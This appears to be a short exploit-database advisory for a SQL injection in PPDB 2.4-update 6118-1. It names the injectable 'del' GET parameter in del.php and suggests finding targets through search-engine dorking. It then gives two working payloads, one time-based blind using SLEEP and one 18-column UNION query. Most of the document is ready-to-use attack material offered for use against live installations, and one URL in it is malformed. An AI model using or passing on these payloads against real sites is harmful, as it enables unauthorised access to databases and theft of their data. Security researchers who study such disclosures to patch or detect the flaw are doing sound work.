PPDB 2.4-update 6118-1 SQL Injection

=============================================================================================================================================
| # Title : ppdb v2.4-update 6118-1 SQL injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |
| # Vendor : https://drive.usercontent.google.com/download?id=1gnVS8xLA-884e7M8V5dc3_i9qNgrviVq&export=download&authuser=0 |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] use payload :ppdb/root/del.php?del=-1

[+] https://www/127.0.0.1/ppdb/root/del.php?del=-1 <=== inject here

[+]
Parameter: del (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: del=-1′ AND (SELECT 2786 FROM (SELECT(SLEEP(5)))KDQW) AND ‘ycIc’=’ycIc

Type: UNION query
Title: Generic UNION query (NULL) – 18 columns
Payload: del=-1′ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176717671,0x6d616b4e6e5a77776d47757568445253596a6468726f72584c72484851664b46664c455675544252,0x71717a7871)– –

Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================